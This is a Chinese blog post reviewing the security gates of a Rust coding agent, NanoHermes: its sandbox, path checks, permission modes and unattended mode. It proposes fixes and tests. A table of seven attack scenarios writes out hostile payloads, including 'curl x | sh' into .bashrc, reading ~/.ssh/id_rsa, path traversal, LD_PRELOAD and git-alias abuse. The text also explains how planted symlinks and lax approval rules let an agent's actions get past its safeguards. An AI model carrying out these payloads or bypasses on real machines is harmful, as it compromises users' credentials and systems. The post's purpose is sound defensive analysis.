<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="n">root_real</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">root</span><span class="p">.</span><span class="n">canonicalize</span><span class="p">().</span><span class="n">unwrap_or_else</span><span class="p">(</span><span class="o">|</span><span class="n">_</span><span class="o">|</span><span class="w"> </span><span class="n">root</span><span class="p">.</span><span class="n">to_path_buf</span><span class="p">());</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="n">real</span><span class="p">.</span><span class="n">starts_with</span><span class="p">(</span><span class="o">&amp;</span><span class="n">root_real</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;path {} resolves outside the workspace&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">real</span><span class="p">.</span><span class="n">display</span><span class="p">()));</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="nb">Ok</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


三步各有用处：第一步挡住 <code>..</code>，第二步挡住绝对路径（<code>/etc/passwd</code> 不以 root 开头），第三步挡住符号链接。第三步只在路径存在时能做——新建文件的符号链接攻击要靠「对父目录做 canonicalize」来补，这一层通常会漏。

顺带说一句 <code>PathBuf::pop()</code> 的一个陷阱：当路径是 <code>/</code> 时 <code>pop</code> 返回 false 且不变，所以 <code>../../../etc/passwd</code> 会规范化成 <code>/etc/passwd</code>——这恰好被第二步挡住，但如果 root 在 <code>/</code> 下且比较用的是 <code>starts_with</code>，要小心别把 <code>/</code> 当成合法的 root。
<h2>符号链接：内核沙箱与内置工具的差异</h2>

符号链接这一节单独讲，因为 Landlock 和内置工具的语义在这里<strong>完全相反</strong>。

Landlock 的 <code>path_beneath</code> 规则是按「打开文件时解析出的真实路径」判定的。如果工作区里有一个软链接指向 <code>/etc/passwd</code>：
<div class="codehilite"><pre><span></span><code>ln -s /etc/passwd ws/link
</code></pre></div>


那么沙箱里的命令 <code>echo x &gt;&gt; ws/link</code> 会被拒绝——因为内核解析 <code>link</code> 得到 <code>/etc/passwd</code>，而 <code>/etc/passwd</code> 那条路径只有 <code>READ_EXEC</code> 权限。Landlock 在这里是可靠的。

内置工具没有这层保护。<code>write_file</code> 走 <code>fs::write</code>，它跟随符号链接（<code>O_CREAT|O_TRUNC</code> 默认不 <code>O_NOFOLLOW</code>），所以 <code>write_file(path="link", content="x")</code> 会写到 <code>/etc/passwd</code>。

于是出现一个荒谬的组合：<strong>开 <code>workspace-write</code> 沙箱之后，<code>run_command</code> 不能写 <code>/etc/passwd</code>，但 <code>write_file</code> 可以</strong>。安全强度取决于调用哪个工具，而不是取决于配置。

这个反直觉的差异正是「沙箱只覆盖子进程」的直接后果。修法只有上一节那个第三步：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Ok</span><span class="p">(</span><span class="n">real</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">out</span><span class="p">.</span><span class="n">canonicalize</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="n">real</span><span class="p">.</span><span class="n">starts_with</span><span class="p">(</span><span class="o">&amp;</span><span class="n">root_real</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="o">..</span><span class="p">.)</span><span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


对新建文件（路径不存在），<code>canonicalize</code> 失败，第三步跳过——这就是漏洞所在。补法是「对最深的已存在祖先做 canonicalize，再把剩余的不存在部分拼回去」：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">ancestor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">out</span><span class="p">.</span><span class="n">clone</span><span class="p">();</span>
<span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">tail</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Vec</span><span class="p">::</span><span class="n">new</span><span class="p">();</span>
<span class="k">while</span><span class="w"> </span><span class="o">!</span><span class="n">ancestor</span><span class="p">.</span><span class="n">exists</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ancestor</span><span class="p">.</span><span class="n">file_name</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">tail</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">name</span><span class="p">.</span><span class="n">to_os_string</span><span class="p">());</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="n">ancestor</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="kd">let</span><span class="w"> </span><span class="n">real_ancestor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ancestor</span><span class="p">.</span><span class="n">canonicalize</span><span class="p">()</span><span class="o">?</span><span class="p">;</span>
<span class="kd">let</span><span class="w"> </span><span class="n">real_full</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">real_ancestor</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">tail</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">rev</span><span class="p">().</span><span class="n">collect</span><span class="p">::</span><span class="o">&lt;</span><span class="n">PathBuf</span><span class="o">&gt;</span><span class="p">());</span>
<span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="n">real_full</span><span class="p">.</span><span class="n">starts_with</span><span class="p">(</span><span class="o">&amp;</span><span class="n">root_real</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="o">..</span><span class="p">.)</span><span class="w"> </span><span class="p">}</span>
</code></pre></div>


这段大约 15 行，但它是「新建文件时防止穿越软链接」的唯一正确做法。少了它，攻击方式就是：先在仓库里提交一个指向 <code>~/.ssh</code> 的软链接目录，再让 agent 往「仓库内」写文件。
<h2>四个逃逸面</h2>

把前面的分析收拢，内置工具与子进程这两条路径的差异集中在四个面上：
<div class="table-scroll"><table>
<thead>
<tr>
<th>逃逸面</th>
<th>子进程（<code>run_command</code>）</th>
<th>内置工具</th>
<th>差异根源</th>
</tr>
</thead>
<tbody>
<tr>
<td>绝对路径</td>
<td>Landlock 限写</td>
<td>直通</td>
<td>沙箱在子进程</td>
</tr>
<tr>
<td><code>..</code> 穿越</td>
<td>Landlock 按真实路径判定</td>
<td>直通</td>
<td><code>resolve</code> 不规范化</td>
</tr>
<tr>
<td>符号链接</td>
<td>内核解析真实路径</td>
<td>跟随且不检查</td>
<td><code>fs::write</code> 语义</td>
</tr>
<tr>
<td>网络</td>
<td>不限制（net=0）</td>
<td>不限制</td>
<td>两者都不管</td>
</tr>
</tbody>
</table></div>

四个面里，前三个都是「子进程有保护、内置工具没有」。第四个是两者都没有。

这个表说明一件事：<strong>在这套设计里，「安全强度」取决于模型选择用哪个工具</strong>。同一个目标（写 <code>/etc/passwd</code>），走 <code>run_command</code> 会被沙箱挡住（如果开了），走 <code>write_file</code> 则畅通无阻。而模型并不知道这个区别——它只知道「哪个工具更顺手」。

所以真正需要修的不是某一道闸门，而是<strong>把内置工具纳入同一套路径策略</strong>。最经济的实现是让 <code>resolve</code> 直接返回 <code>Result</code>，强制所有调用点处理「越界」——这是一个编译期就能推动的改动：改了签名之后，所有 <code>let full = resolve(...)</code> 都会编译失败，编译器会列出所有需要处理的点。
<h2>权限模式与沙箱的交叉矩阵</h2>

<code>PermissionMode</code> 和 <code>SandboxMode</code> 是两个正交的维度，但用户经常只调其中一个，于是出现一些组合的预期和实际不符：
<div class="table-scroll"><table>
<thead>
<tr>
<th>模式 \ 沙箱</th>
<th><code>off</code></th>
<th><code>read-only</code></th>
<th><code>workspace-write</code></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>default</code></td>
<td>全开</td>
<td>子进程只读</td>
<td>子进程限写工作区</td>
</tr>
<tr>
<td><code>accept-edits</code></td>
<td>编辑免问，命令问</td>
<td>同左 + 子进程只读</td>
<td>同左 + 子进程限写</td>
</tr>
<tr>
<td><code>plan</code></td>
<td>只读（无命令）</td>
<td>只读（无命令）</td>
<td>只读（无命令）</td>
</tr>
<tr>
<td><code>goal</code></td>
<td><strong>全开且不问</strong></td>
<td>命令全失败（非 Linux）</td>
<td>子进程限写</td>
</tr>
<tr>
<td><code>debug</code></td>
<td>可跑命令、不可写</td>
<td>可跑命令、不可写</td>
<td>子进程限写</td>
</tr>
</tbody>
</table></div>

两个值得注意的格子：

<strong><code>plan</code> 那一行，沙箱完全没用。</strong> 因为 <code>run_command</code> 被模式封禁了，而沙箱只作用于子进程——没有子进程，沙箱就没有作用对象。所以 <code>plan</code> 模式的安全强度不随沙箱变化。但同时，<code>plan</code> 模式下的 <code>write_file</code> 也被封了，所以它反而是安全的（只要内置工具被正确封禁）。

<strong><code>goal</code> 那一行，<code>off</code> 是最危险的组合。</strong> 无人监督 + 无审批 + 无沙箱 = 模型可以完全自由地操作这台机器。代码本身没有阻止这个组合，只是 <code>sandbox</code> 默认 <code>off</code>，所以<strong>默认的 <code>goal</code> 模式就是最危险的那一格</strong>。

这说明「模式」和「沙箱」不该是两个独立的 flag，而应该是一个「安全等级」的枚举，每个等级固定一组配置：
<div class="codehilite"><pre><span></span><code>--safety low     auto_approve=true,  sandbox=off
--safety medium  auto_approve=false, approval=on-request, sandbox=workspace-write
--safety high    auto_approve=false, approval=untrusted, sandbox=read-only, network=deny
</code></pre></div>


两个 flag 的组合有 15 种，其中大部分没人会主动选，而有几种是危险的。用等级枚举把「有意义的组合」固化下来，比让用户自由组合更安全，也更好解释。
<h2>plan 模式为什么不是只读沙箱</h2>

这里值得专门澄清一个常见误解：<code>plan</code> 模式看起来像「只读沙箱」，但它不是，差别有三点。

<strong>第一，它封的是工具，不是路径。</strong> <code>plan</code> 让 <code>write_file</code> 不可用，所以 agent 不能写文件。但它没有让「文件不可写」——<code>run_command</code> 也被封了，所以确实没有写路径了。这一层是有效的，但它的实现方式是「把可能写的东西都拿走」，而不是「允许一切但拒绝写」。后者才能覆盖未来新增的工具：如果明天加了一个 <code>db_query</code> 工具（可以 <code>UPDATE</code>），<code>plan</code> 模式不会自动封它。

<strong>第二，它不限制读。</strong> <code>plan</code> 模式下协议上是要「读代码、想方案」，所以 <code>read_file</code> 完全可用，能读全盘。这和沙箱的 <code>read-only</code> 完全不同——后者限制的是写，读也是全开。两个「只读」的含义不同：<code>plan</code> 是「我不改」，沙箱 <code>read-only</code> 是「进程不能改」。

<strong>第三，它依赖 <code>blocked_tools</code> 这张手写表。</strong> 五个工具名是硬编码的：
<div class="codehilite"><pre><span></span><code><span class="n">PermissionMode</span><span class="p">::</span><span class="n">Plan</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="o">&amp;</span><span class="p">[</span>
<span class="w">    </span><span class="s">&quot;write_file&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="s">&quot;edit_file&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="s">&quot;apply_patch&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="s">&quot;run_command&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="s">&quot;git_commit&quot;</span><span class="p">,</span>
<span class="p">],</span>
</code></pre></div>


如果新增一个能写文件的工具（比如 <code>git_apply</code>、<code>sql_exec</code>），必须记得加进这张表。忘了的话，<code>plan</code> 模式会静默地漏一个写入口。这类「靠维护列表保证安全」的机制，缺陷率随时间单调上升。

更稳的做法是给每个工具打一个 <code>capability</code> 标签（<code>fs.read</code>、<code>fs.write</code>、<code>process.spawn</code>、<code>net.egress</code>），模式封的是标签而不是名字：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">blocked_capabilities</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kp">&amp;</span><span class="o">&#39;</span><span class="nb">static</span><span class="w"> </span><span class="p">[</span><span class="n">Capability</span><span class="p">]</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="bp">self</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">PermissionMode</span><span class="p">::</span><span class="n">Plan</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="o">&amp;</span><span class="p">[</span><span class="n">Capability</span><span class="p">::</span><span class="n">FsWrite</span><span class="p">,</span><span class="w"> </span><span class="n">Capability</span><span class="p">::</span><span class="n">ProcessSpawn</span><span class="p">,</span><span class="w"> </span><span class="n">Capability</span><span class="p">::</span><span class="n">GitWrite</span><span class="p">],</span>
<span class="w">        </span><span class="n">PermissionMode</span><span class="p">::</span><span class="n">Debug</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="o">&amp;</span><span class="p">[</span><span class="n">Capability</span><span class="p">::</span><span class="n">FsWrite</span><span class="p">,</span><span class="w"> </span><span class="n">Capability</span><span class="p">::</span><span class="n">GitWrite</span><span class="p">],</span>
<span class="w">        </span><span class="n">_</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="o">&amp;</span><span class="p">[],</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


这样新增工具时只要标了标签就自动被覆盖。改动大概 100 行（给 24 个工具各加一个标签），但它把「安全靠记得」变成了「安全靠分类」。
<h2>goal 模式：没有人可以问</h2>

<code>goal</code> 模式的定位是「无人值守跑到目标达成」，所以它做了两件事：<code>auto_approve = true</code>、<code>approval = Never</code>。这两件事加起来等于「审批这道闸门被永久关闭」。

这个设计是诚实的，但它把安全责任完全压到了另外三道闸门上：
<div class="table-scroll"><table>
<thead>
<tr>
<th>闸门</th>
<th>在 goal 模式下的状态</th>
</tr>
</thead>
<tbody>
<tr>
<td>工具清单</td>
<td>有效（模型看不到被封禁的）</td>
</tr>
<tr>
<td><code>check_tool</code></td>
<td>有效（但 <code>goal</code> 不封任何工具）</td>
</tr>
<tr>
<td>PreToolUse 钩子</td>
<td>有效（唯一的自定义拦截点）</td>
</tr>
<tr>
<td>审批</td>
<td><strong>关闭</strong></td>
</tr>
<tr>
<td>Landlock</td>
<td>取决于 <code>--sandbox</code>（默认 off）</td>
</tr>
</tbody>
</table></div>

所以 <code>goal</code> 模式的实际安全强度 = 「钩子配了什么」+「沙箱开没开」。如果两个都没配（默认情况），安全强度是零。

对无人值守场景，至少应该做这三件事：

<strong>第一，默认开沙箱。</strong> <code>goal</code> 模式下如果 <code>sandbox == Off</code>，启动时应该警告甚至拒绝。因为「没有人看着」和「没有任何文件系统限制」的组合，出事只是时间问题。

<strong>第二，强制配置钩子。</strong> 可以要求 <code>goal</code> 模式下至少有一个 PreToolUse 钩子，否则拒绝启动。钩子是唯一能在无人值守时表达「不要碰这些路径」的机制。

<strong>第三，加预算上限。</strong> 无人值守意味着可能无限循环。<code>max_iterations: 40</code> 是轮次上限，但没有「总命令数」「总写入字节」「总耗时」的上限。加一个 <code>max_wall_clock</code>（比如 30 分钟）是必要的——一个跑飞的目标模式可能在半小时内产生上百次写入。

这三条都不复杂，但它们把「goal 模式有多危险」从「取决于用户配置」变成「有明确下限」。
<h2>交叉验证：七个攻击场景</h2>

把前面所有分析放进具体场景，看每一道闸门是否真的挡住了。假设是默认配置（<code>auto_approve: true</code>、<code>sandbox: off</code>、<code>permission_mode: default</code>），只有 <code>check_tool</code> 和钩子在起作用。
<div class="table-scroll"><table>
<thead>
<tr>
<th>场景</th>
<th>载荷</th>
<th>通过哪些闸门</th>
<th>结果</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 读密钥</td>
<td><code>read_file("~/.ssh/id_rsa")</code></td>
<td>全部</td>
<td>内容进上下文并出网</td>
</tr>
<tr>
<td>2 写启动项</td>
<td><code>write_file("/home/u/.bashrc", "curl x \| sh")</code></td>
<td>全部</td>
<td>持久化后门</td>
</tr>
<tr>
<td>3 穿越</td>
<td><code>read_file("../../../../etc/passwd")</code></td>
<td>全部</td>
<td>读到系统文件</td>
</tr>
<tr>
<td>4 假只读</td>
<td><code>run_command("sort -o ~/.bashrc x")</code></td>
<td>审批（误判为只读）</td>
<td>覆盖文件</td>
</tr>
<tr>
<td>5 冒名程序</td>
<td><code>run_command("/tmp/x/ls -la")</code></td>
<td>审批（basename 命中）</td>
<td>执行任意程序</td>
</tr>
<tr>
<td>6 预加载</td>
<td><code>run_command("LD_PRELOAD=/tmp/e.so ls")</code></td>
<td>审批（跳过赋值）</td>
<td>任意代码执行</td>
</tr>
<tr>
<td>7 git 别名</td>
<td><code>run_command("git status")</code></td>
<td>审批（子命令命中）</td>
<td>别名里的命令被执行</td>
</tr>
</tbody>
</table></div>

七个场景没有一个是「精巧的攻击链」——每一个都是单步、单条命令、不含任何混淆。它们能通过的原因是同一个：<strong>判定依据是「命令长什么样」，而不是「它实际会做什么」</strong>。

再叠加 <code>goal</code> 模式（审批关闭）：场景 1、2、3 依然通过，场景 4 到 7 也从「被误判放行」变成「连误判都不需要」——审批整道闸门都没了。这个对比说明一件事：<strong><code>auto_approve: true</code> 已经让审批形同虚设，所以 <code>goal</code> 模式在默认配置下没有额外损失，损失已经发生了。</strong>

如果配上 <code>--ask</code>（<code>auto_approve: false</code> + <code>untrusted</code>）和 <code>--sandbox workspace-write</code>，场景 4 到 7 全部会被问到（<code>untrusted</code> 连只读也问），但<strong>场景 1、2、3 仍然全部通过</strong>——它们全是内置文件工具，而内置文件工具没有任何路径限制。

这是全文最重要的结论：在这套设计里，最有效的加固不是调审批策略，而是给 <code>resolve</code> 加越界检查，因为前三类场景是最高频、最容易被模型无意触发的（模型可能真的只是想读一个「在仓库外一层」的配置文件）。
<h2>七处可以加固的地方</h2>

按「挡住的攻击面」排序，不按工作量：
<div class="table-scroll"><table>
<thead>
<tr>
<th>编号</th>
<th>加固点</th>
<th>挡住的场景</th>
<th>工作量</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><code>resolve</code> 加越界检查（词法 + canonical）</td>
<td>场景 1、2、3</td>
<td>40 行 + 改签名</td>
</tr>
<tr>
<td>2</td>
<td>只读白名单加参数判定（<code>-o</code> / <code>-r</code> / <code>-s</code>）</td>
<td>场景 4</td>
<td>25 行</td>
</tr>
<tr>
<td>3</td>
<td>显式路径不再按 basename 免问</td>
<td>场景 5</td>
<td>5 行</td>
</tr>
<tr>
<td>4</td>
<td>禁止前置环境变量赋值</td>
<td>场景 6</td>
<td>5 行</td>
</tr>
<tr>
<td>5</td>
<td>移除 git 免问，或校验别名</td>
<td>场景 7</td>
<td>5 或 40 行</td>
</tr>
<tr>
<td>6</td>
<td><code>auto_approve</code> 默认改 false，启动打印安全姿态</td>
<td>全部</td>
<td>3 行</td>
</tr>
<tr>
<td>7</td>
<td><code>goal</code> 模式强制要求沙箱或钩子</td>
<td>无人值守场景</td>
<td>15 行</td>
</tr>
</tbody>
</table></div>

前三项是真正的修复，后四项是策略调整。

<strong>第 1 项最关键，也最容易做错。</strong> 它要改 <code>resolve</code> 的签名（返回 <code>Result</code>），这会引发一串编译错误——每一处错误都是一个需要决定「越界时怎么办」的地方。<code>read_file</code> 应该返回错误，<code>write_file</code> 应该返回错误，但会话文件（<code>~/.nanohermes/sessions/*.json</code>）和记忆目录必须允许。所以需要两个入口：工作区路径走 <code>resolve_checked</code>，系统路径走一个显式的 <code>resolve_system</code>（并且只允许内部代码调用，不接受模型的路径参数）。

<strong>第 2 项的判定要和 <code>VALUE_FLAGS</code> 一样的思路</strong>：不是「信任程序」，而是「信任程序 + 参数组合」。现在实现是「边走边判」，<code>git_subcommand_is_read_only</code> 还把 <code>tokens</code> 消费掉了，所以每加一条规则都要动同一段循环——这是它积累了四个洞的结构性原因。更好的做法是把命令行先解析成一个中间结构（程序名、显式路径、环境赋值、参数列表各一组），再让四条判定各查各的字段。

<strong>第 6 项只有 3 行，但它改变的是「默认值」。</strong> 默认值的影响力远大于任何单点修复：它决定了所有没读文档的用户实际受到的防护。安全领域有个原则叫「默认安全」（secure by default），指的就是这个——不是让用户去开开关，而是让开关默认是开的，需要的人自己去关。

<strong>第 7 项是给无人值守场景兜底。</strong> <code>goal</code> 模式的合理前提是「沙箱可用 + 钩子已配」，否则它和一个 <code>while true; do $SHELL; done</code> 没有本质区别。启动时检查这两项，缺一个就拒绝，这是最省事的做法。
<h2>怎么测试安全边界</h2>

安全功能的测试和功能测试不一样：它测的是「不该发生的事有没有发生」。

NanoHermes 的沙箱测试是这个思路的直接体现——不是断言「命令成功」，而是断言「命令失败且文件不存在」：
<div class="codehilite"><pre><span></span><code><span class="c1">// read-only: 工作区内的写入也必须被拒</span>
<span class="fm">assert_eq!</span><span class="p">(</span>
<span class="w">    </span><span class="n">run_sandboxed</span><span class="p">(</span>
<span class="w">        </span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;touch {}/a&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">ws</span><span class="p">.</span><span class="n">display</span><span class="p">()),</span>
<span class="w">        </span><span class="n">SandboxMode</span><span class="p">::</span><span class="n">ReadOnly</span><span class="p">,</span>
<span class="w">        </span><span class="o">&amp;</span><span class="n">ws</span>
<span class="w">    </span><span class="p">),</span>
<span class="w">    </span><span class="nb">Some</span><span class="p">(</span><span class="kc">false</span><span class="p">),</span>
<span class="w">    </span><span class="s">&quot;read-only sandbox must deny writes&quot;</span>
<span class="p">);</span>
<span class="fm">assert!</span><span class="p">(</span><span class="o">!</span><span class="n">ws</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="s">&quot;a&quot;</span><span class="p">).</span><span class="n">exists</span><span class="p">());</span>

<span class="c1">// workspace-write: 工作区内的写入允许</span>
<span class="fm">assert_eq!</span><span class="p">(</span>
<span class="w">    </span><span class="n">run_sandboxed</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;touch {}/b&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">ws</span><span class="p">.</span><span class="n">display</span><span class="p">()),</span>
<span class="w">                 </span><span class="n">SandboxMode</span><span class="p">::</span><span class="n">WorkspaceWrite</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">ws</span><span class="p">),</span>
<span class="w">    </span><span class="nb">Some</span><span class="p">(</span><span class="kc">true</span><span class="p">)</span>
<span class="p">);</span>
<span class="fm">assert!</span><span class="p">(</span><span class="n">ws</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="s">&quot;b&quot;</span><span class="p">).</span><span class="n">exists</span><span class="p">());</span>

<span class="c1">// workspace-write: 工作区外的写入拒绝</span>
<span class="fm">assert_eq!</span><span class="p">(</span>
<span class="w">    </span><span class="n">run_sandboxed</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;touch {}/c&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">outside</span><span class="p">.</span><span class="n">display</span><span class="p">()),</span>
<span class="w">                 </span><span class="n">SandboxMode</span><span class="p">::</span><span class="n">WorkspaceWrite</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">ws</span><span class="p">),</span>
<span class="w">    </span><span class="nb">Some</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span>
<span class="p">);</span>
<span class="fm">assert!</span><span class="p">(</span><span class="o">!</span><span class="n">outside</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">).</span><span class="n">exists</span><span class="p">());</span>
</code></pre></div>


三个断言覆盖了「可能出错的两个方向」：该拒的拒了（<code>a</code>、<code>c</code>），该放的放了（<code>b</code>）。第三个尤其重要——如果沙箱装错了（比如规则集创建失败但被忽略），<code>b</code> 会失败，测试立刻发现「沙箱把所有东西都拦住了」，而不是等到线上「所有命令都跑不了」。

<code>needs_approval</code> 的测试是分层断言，第一行专门钉住那个短路：<code>auto_approve</code> 优先于 <code>Untrusted</code>，所以 <code>needs_approval(true, Untrusted, "rm -rf /")</code> 必须返回 <code>false</code>。这种「两个配置项的组合语义」最容易在重构中悄悄改变，必须有测试兜住。其余三行分别覆盖 <code>Never</code> 全放、<code>Untrusted</code> 连 <code>ls</code> 都问、<code>OnRequest</code> 只问非只读。

<code>is_trusted_command</code> 的测试分正向和反向两组，正向里有一条值得注意：<code>git -C /repo diff --stat</code> 必须判为可信，它验证的是「带值 flag 的下一个 token 被跳过」这段逻辑。

但<strong>测试里没有覆盖本文发现的四个洞</strong>：<code>sort -o</code>、<code>/tmp/ls</code>、<code>LD_PRELOAD</code>、<code>git status</code>（别名）。这恰好说明安全测试的一个通病：<strong>容易测「已知的攻击」，难测「没想到的攻击」</strong>。

补这个缺口的方法不是「再加几条断言」——那只能覆盖你已经想到的洞。更有效的是<strong>用性质（property）而不是用例来测</strong>：
<div class="table-scroll"><table>
<thead>
<tr>
<th>性质</th>
<th>怎么测</th>
</tr>
</thead>
<tbody>
<tr>
<td>可信命令不应能写文件</td>
<td>在只读临时目录里跑每条可信命令的常见 flag 变体，断言目录内容不变</td>
</tr>
<tr>
<td>沙箱内的写入不越界</td>
<td>在工作区外放哨兵文件，断言内容不变</td>
</tr>
<tr>
<td>审批覆盖所有执行路径</td>
<td>枚举所有会 spawn 的工具，断言每个都调了 <code>needs_approval</code></td>
</tr>
</tbody>
</table></div>

第一条可以用脚本做：对白名单里每个程序，跑「程序名 + 各种常见 flag」的组合，检测临时目录有没有文件被创建。这能自动发现 <code>sort -o</code> 这类问题，因为它不依赖你知道 <code>sort</code> 有 <code>-o</code>。第三条是个静态检查：<code>rg 'Command::new|shell_command' src/</code> 找到所有 spawn 点，逐个确认上游有审批——漏掉一个路径在运行时可能永远不触发，静态看得见。
<h2>小结：先假设最坏，再逐层放宽</h2>

把这篇收拢成三句话。

<strong>第一，安全是「纵深」，不是「强度」。</strong> 五道闸门各自都能被绕过：工具清单只影响广告，<code>check_tool</code> 只按名字封，钩子是用户自己配的，审批只覆盖 shell，沙箱只覆盖子进程。但五道叠起来，一个攻击要同时绕过五层才能完全无声。这比「一道特别强的闸门」更可靠，因为强闸门有单点失效的风险。

<strong>第二，最薄的一层往往不是你以为的那一层。</strong> 直觉上「沙箱」是最硬的防线——它确实是最硬的，但它覆盖面最窄。真正的窟窿在「内置文件工具完全不受路径约束」，而那是个看起来最无害的地方：一个 <code>fs::write</code> 调用，没有子进程，没有 shell，没有审批。安全评审里最容易漏的就是这类「自己进程内的直接 I/O」。

<strong>第三，默认值就是安全级别。</strong> <code>auto_approve: true</code> + <code>sandbox: Off</code> 这两个默认值，让五道闸门里的两道直接失效。任何单点加固的价值都不如改这两个默认值——但改默认值会改变所有现有用户的行为，所以它需要一个明确的迁移决策，而不是顺手改掉。

NanoHermes 的安全实现有一个诚实的地方值得肯定：它不假装自己很安全。<code>attach</code> 在内核不支持时拒绝执行而不是降级，<code>auto_approve</code> 的短路写在第一行不加掩饰，<code>goal</code> 模式的注释直接说「没有人在旁边可以问」。这种「明确说出边界」的做法，比「声称安全但边界模糊」要好得多——因为只有知道边界在哪，才知道该往哪里加固。

下一篇进入多体：子代理、任务板与限流。05 讲的是「几件事同时做」，06 讲的是「这些事能做什么」，07 要把两者合起来——当四个子代理同时跑、每个都在你的机器上执行命令时，限流和隔离要怎么设计。]]></content:encoded>
    </item>
    <item>
      <title>Agent 并发：不用 async 运行时怎么并行</title>
      <link>https://zhoujungis.github.io/article/agent-concurrency-without-async/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/agent-concurrency-without-async/</guid>
      <pubDate>Thu, 22 Oct 2026 06:52:30 GMT</pubDate>
      <description>适用读者：给 Agent 加过并行、被死锁或「结果对不上」坑过的人；不想为一个 CLI 工具拖进一整套 async 运行时的人；想知道「一轮里到底能同时跑几件事」的人 结论先行：NanoHermes 的并发只有两个原语——作用域线程（ std::thread::scope ）和一把计数闸门（ Mutex + Condv</description>
      <category>AI编程</category>
      <category>Agent</category>
      <category>Agent 工程</category>
      <category>并发</category>
      <category>架构设计</category>
      <content:encoded><![CDATA[<blockquote>

适用读者：给 Agent 加过并行、被死锁或「结果对不上」坑过的人；不想为一个 CLI 工具拖进一整套 async 运行时的人；想知道「一轮里到底能同时跑几件事」的人
结论先行：NanoHermes 的并发只有两个原语——作用域线程（<code>std::thread::scope</code>）和一把计数闸门（<code>Mutex</code> + <code>Condvar</code>）。它没有 async runtime，没有取消令牌，也没有消息队列，靠的是「每轮一个 join 屏障」把并发收进一个有界的盒子里
阅读时间：约 52 分钟 | 难度：进阶 | 收获：线程并行的四个层次 + 六个并发约束的真实取值 + 七个可以修的缺陷 + 一套可复现的并发验证方法
</blockquote>

<strong>目录</strong>
<ul>
<li>前言：并行不是为了快，是为了别让一轮卡死</li>
<li>结论先行：并发的四个层次</li>
